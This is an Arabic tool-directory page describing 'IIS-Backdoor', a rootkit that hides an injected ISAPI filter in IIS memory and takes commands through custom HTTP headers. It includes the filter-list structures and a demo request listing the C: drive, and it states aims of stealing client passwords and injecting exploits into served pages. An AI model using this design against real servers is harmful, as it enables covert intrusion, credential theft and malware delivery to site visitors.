Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
IIS-Backdoor — باب خلفي خفي لـ IIS يستخدم مرشح ISAPI مخفي للوصول عن بُعد المستمر، وسرقة البيانات، وحقن الثغرات في الوقت الفعلي عبر رؤوس HTTP مخصصة. | Kitploit
أدوات/GitHubGitHub/nu11secur1ty/iis-backdoor
آليات الاستمراريةالاستغلالالتهرب من IDS/IPSجمع المعلوماتأمن الويبالقيادة والسيطرةالفريق الأحمر
GitHubnu11secur1ty/iis-backdoor

IIS-Backdoor

باب خلفي خفي لـ IIS يستخدم مرشح ISAPI مخفي للوصول عن بُعد المستمر، وسرقة البيانات، وحقن الثغرات في الوقت الفعلي عبر رؤوس HTTP مخصصة.

عرض المستودع
3414منذ 6 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

باب خلفي لـ IIS

في هذه المقالة سأشرح كيف صممت روتكيت لخادم معلومات الإنترنت من مايكروسوفت (IIS). السؤال هو: لماذا باب خلفي في خادم ويب؟

أول إجابة واضحة ولكن غير مجدية: لأننا نستطيع.

حسنًا، دعنا نعطي إجابة أكثر ذكاءً. الغرض من وضع باب خلفي في خادم ويب مزدوج:

root@kitploit:~
يسمح للمهاجم بالوصول إلى البيانات التي يرسلها العملاء. على سبيل المثال، إذا كان موقع الويب محميًا بكلمة مرور، يمكننا استرداد كلمة المرور هذه.
يسمح بوضع باب خلفي بشكل فوري لأي شيء يُرسل من الخادم إلى عميل الويب.

هذه النقطة الثانية مثيرة للاهتمام بشكل خاص لأنها تسمح للمهاجم بحقن الاستغلال المناسب وفقًا لمتصفح الويب الذي يطلب صفحة الويب، أو إصابة ملف قابل للتنفيذ تم تنزيله من الخادم. باب خلفي لـ IIS

ما هو IIS

IIS هو خادم الويب من مايكروسوفت، وهو قطعة مهمة من تقنيات الويب الأساسية لمايكروسوفت مثل OWA. تم إصدار العديد من الإصدارات من الأول (IIS 1.0 تحت Windows NT 3.51) إلى الأحدث (IIS 7.5 تحت Windows Server 2008). وهو منتشر على نطاق واسع عبر الإنترنت وشبكات الإنترانت الخاصة بالشركات. إثراء IIS

قامت مايكروسوفت بتعريف واجهة برمجة تطبيقات تُعرف باسم ISAPI (واجهة برمجة تطبيقات خادم الإنترنت) لمساعدة المطورين على إضافة ميزات إلى IIS. يمكن إضافة نوعين من المكونات إلى IIS: الإضافات أو المرشحات. إضافات ISAPI

الإضافات هي مكتبات DLL تقوم بتصدير 3 دوال:

root@kitploit:~
GetExtensionVersion
HttpExtensionProc
TerminateExtension

الإضافات هي تطبيقات تعمل داخل IIS. يتم تحميلها بواسطة IIS كلما احتاج إليها. تصل الإضافات إلى محتوى الطلب وتكون مسؤولة عن الرد على العميل. على سبيل المثال، إذا طلب العميل الصفحة http://mydomain/myextension حيث myextension هي الإضافة المسجلة لديك، فسيتم استدعاء HttpExtensionProc الخاصة بإضافتك. سيوفر IIS لها البنية التالية:

root@kitploit:~
typedef struct _EXTENSION_CONTROL_BLOCK EXTENSION_CONTROL_BLOCK {
   DWORD cbSize;
   DWORD dwVersion;
   HCONN connID;
   DWORD dwHttpStatusCode;
   char lpszLogData[HSE_LOG_BUFFER_LEN];
   LPSTR lpszMethod;
   LPSTR lpszQueryString;
   LPSTR lpszPathInfo;
   LPSTR lpszPathTranslated;
   DWORD cbTotalBytes;
   DWORD cbAvailable;
   LPBYTE lpbData;
   LPSTR lpszContentType;
   BOOL (WINAPI * GetServerVariable) ();
   BOOL (WINAPI * WriteClient) ();
   BOOL (WINAPI * ReadClient) ();
   BOOL (WINAPI * ServerSupportFunction) ();
} EXTENSION_CONTROL_BLOCK;

بهذه الطريقة يمكن لـ HttpExtensionProc قراءة البيانات من الطلب، ومعالجتها، وإرسال رد باستخدام دوال الاستدعاء ReadClient و WriteClient. مرشحات ISAPI

المرشحات هي مكتبات DLL تقوم بتصدير 3 دوال:

root@kitploit:~
GetFilterVersion
HttpFilterProc
TerminateFilter

يتم تسجيل المرشحات لعدد من الأحداث، في كل مرة يحدث حدث أثناء دورة حياة الطلب، يتم استدعاء HttpFilterProc. فيما يلي قائمة غير كاملة بالأحداث التي يمكن للمرشح التسجيل لها:

root@kitploit:~
`SF_NOTIFY_PREPROC_HEADERS`: يحدث عندما ينتهي IIS من معالجة الرؤوس مسبقًا.
`SF_NOTIFY_SEND_RESPONSE`: يحدث عندما يكون IIS جاهزًا لإرسال الرد إلى العميل.
`SF_NOTIFY_END_OF_REQUEST`: يحدث عندما ينتهي طلب من دورة حياته.
`SF_NOTIFY_LOG`: يحدث قبل أن يكتب IIS سجل الطلب الحالي.

بمجرد وقوع حدث تم تسجيل مرشح له، يتم استدعاء HttpFilterProc الخاص بالمرشح ويتم تزويده ببنية تعتمد على نوع الحدث. على سبيل المثال، إذا كان حدثًا من نوع SF_NOTIFY_END_OF_REQUEST، فسيتم تمرير البنية التالية إلى المرشح بواسطة IIS:

root@kitploit:~
typedef struct _HTTP_FILTER_LOG HTTP_FILTER_LOG {
   const char * pszClientHostName;
   const char * pszClientUserName;
   const char * pszServerName;
   const char * pszOperation;
   const char * pszTarget;
   const char * pszParameters;
   DWORD dwHttpStatus;
   DWORD dwWin32Status;
   DWORD dwBytesSent;
   DWORD dwBytesRecvd;
   DWORD msTimeForProcessing;
} HTTP_FILTER_LOG, * PHTTP_FILTER_LOG;

تحتوي هذه البنية على جميع المعلومات الضرورية التي يحتاجها المرشح لتسجيل الطلب الوارد. نظرة عامة على الإضافات والمرشحات

المخطط التالي هو عرض عام لكيفية وصول طلب العميل إلى المرشحات والإضافات:

Schemaextfilts.png المرشح المخفي

لتطبيق الباب الخلفي الخاص بي لـ IIS، قررت استخدام آلية المرشحات في IIS بدلاً من آلية الإضافات. وذلك أساسًا لأسباب تتعلق بالتخفي. في الواقع، للوصول إلى إضافة، يجب على العملاء تقديم طلب إلى عنوان URL مثل هذا: http://mydomain/myextension. ستظهر إضافتي بعد ذلك في سجلات الخادم. إذا استخدمت مرشحًا، فيمكن الوصول إليه عن طريق الاتصال بأي صفحة صالحة على الخادم: هذا سلوك أكثر انتظامًا.

من الممكن تسجيل مرشح عبر لوحة تكوين IIS (داخل ملفات تكوين IIS) ولكن هذا ليس مخفيًا على الإطلاق. قررت إضافة المرشح يدويًا داخل القائمة المرتبطة لمرشحات IIS. للقيام بذلك، أقوم بحقن مكتبة dll الخاصة بي في عملية IIS، وتقوم dll بتحليل كومة عملية IIS وتسجيل نفسها يدويًا في قائمة مرشحات IIS.

يتم استخدام نوعين من البنى للحفاظ على قائمة مرشحات IIS في الذاكرة. الأول هو التالي:

root@kitploit:~
typedef struct FILTER_LIST {
        unsigned int Magic; "FLIS"
        unsigned int unknown;
        unsigned int NumberOfFilters;
        PHTTP_FILTER_DLL * FilterPointerArray;
        unsigned int unknown2[10];
        unsigned int Flags1Sum;
        unsigned int * Flags1;
        unsigned int unknown3[10];
        unsigned int Flags2Sum;
        unsigned int * Flags2;
} FILTER_LIST , *PFILTER_LIST;

لها الأعضاء التالية:

root@kitploit:~
`Magic`: كلمة DWORD سحرية بقيمة "FLIS".
`NumberOfFilters`: عدد المرشحات.
`FilterPointerArray`: مصفوفة من المرشحات.
`Flags1Sum`: مجموع (باستخدام عامل OR المنطقي) للأحداث التي تم تسجيل جميع المرشحات لها.
`Flags1`: مصفوفة من الأعلام التي تم تسجيل كل مرشح لها.

كل مرشح له بنية HTTP_FILTER_DLL الخاصة به، وهي كما يلي:

root@kitploit:~
struct _HTTP_FILTER_DLL{
        unsigned int Magic ; "FDLL"
        PHTTP_FILTER_DLL pPrevious;
        PHTTP_FILTER_DLL pNext;
        void * ModuleBaseAddress;
        void * HttpFilterProc;
        void * GetFilterVersion;
        void * TerminateFilter;
        unsigned int unknown1;
        unsigned int AcceptFlags1;
        unsigned int AcceptFlags2;
        unsigned int unknown2;
        char * DllPath;
        unsigned intunknown3;
        unsigned intunknown4;
        char String[DLL_PATH_SIZE];
        unsigned int unknown5;
} HTTP_FILTER_DLL, *PHTTP_FILTER_DLL;
root@kitploit:~
`Magic`: كلمة DWORD سحرية بقيمة "FDLL".
`pPrevious`, `pNext`: مؤشرات إلى بنية HTTP_FILTER_DLL السابقة والتالية في القائمة.
`ModuleBaseAddress`: العنوان الأساسي لمكتبة dll الخاصة بالمرشح.
`HttpFilterProc`: عنوان دالة HttpFilterProc الخاصة بالمرشح.
`AcceptFlags1`: مجموع (باستخدام عامل OR المنطقي) للأحداث التي تم تسجيل المرشح لها.

يوضح المخطط التالي كيفية تنظيم مرشحات IIS في الذاكرة:

SchemaListNoHidFilt.png

بمعرفة هذا التنظيم في الذاكرة، من السهل إضافة مرشح مخفي جديد في الذاكرة. للقيام بذلك، علينا العثور على مثيل FILTER_LIST في الكومة. بمجرد العثور عليه، نحتاج فقط إلى إضافة بنية HTTP_FILTER_DLL جديدة في قائمة HTTP_FILTER_DLL وإضافة مرجع إليها في مصفوفة المرشحات لبنية FILTER_LIST:

SchemaListHidFilt.png تنفيذ الباب الخلفي

يعمل الباب الخلفي على مبدأ بسيط للغاية. يرسل العملاء طلبات تحتوي على رؤوس خاصة تحتوي على أوامر، ويرد المرشح بإضافة بيانات إلى الرد الصادر. يتم تسجيل المرشح لأحداث SF_NOTIFY_PREPROC_HEADERS و SF_NOTIFY_SEND_RAW_DATA. بمجرد وصول طلب وارد، يتحقق المرشح مما إذا كانت الرؤوس X-ORDER و/أو X-DATA موجودة في الطلب، وإذا كان الأمر كذلك وكان الأمر معروفًا، فسيقوم بتنفيذه ويرد. نظرًا لأنه يتم إخطار المرشح لأي صفحة من الخادم، يمكنني طلب أي صفحة على الخادم للتواصل مع المرشح الخاص بي. أحتاج فقط إلى إضافة رؤوس خاصة إلى طلب عادي.

إذا طلبت صفحة بسيطة (هنا /pwet.htm) دون إضافة رؤوس، فإن IIS يتصرف بشكل طبيعي، أي أن رد IIS يكون كما يلي:

root@kitploit:~
GET /pwet.htm HTTP/1.1
Host: 192.168.73.143
Accept-Encoding: identity
Connection: Keep-Alive
Content-type: application/x-www-form-urlencoded
Accept: */*

HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 12:16:50 GMT
Content-Length: 31
Content-Type: text/html
Last-Modified: Mon, 21 Jun 2010 11:53:19 GMT
Accept-Ranges: bytes
ETag: "963779573811cb1:994"
Server: Microsoft-IIS/6.0

<html>

Pouetpouet

</html>

ولكن إذا طلبت نفس الصفحة وأضفت أمرًا (هنا الأمر هو "ListDir" لـ base64("C:") )، فسأحصل على النتيجة التالية:

root@kitploit:~
GET /pwet.htm HTTP/1.1
Host: 192.168.73.143
Accept-Encoding: identity
X-Order: ListDir
Connection: Keep-Alive
X-Data: Qzpc
Content-type: application/x-www-form-urlencoded
Accept: */*

HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 12:16:57 GMT
Content-Length: 353
X-Resp: OK
Content-Type: text/html
Last-Modified: Mon, 21 Jun 2010 11:53:19 GMT
Accept-Ranges: bytes
ETag: "963779573811cb1:994"
Server: Microsoft-IIS/6.0

<html>

Pouetpouet

</html>
[F] C:\AUTOEXEC.BAT
[F] C:\boot.ini
[F] C:\bootfont.bin
[F] C:\CONFIG.SYS
[D] C:\Documents and Settings
[D] C:\Inetpub
[F] C:\IO.SYS
[F] C:\MSDOS.SYS
[F] C:\NTDETECT.COM
[F] C:\ntldr
[F] C:\pagefile.sys
[D] C:\Program Files
[D] C:\System Volume Information
[D] C:\WINDOWS
[D] C:\wmpub

إذن، وضع باب خلفي في خادم ويب IIS ليس بهذه الصعوبة ويمكن أن يعطيك الكثير من الفرص...

تنزيل الأداة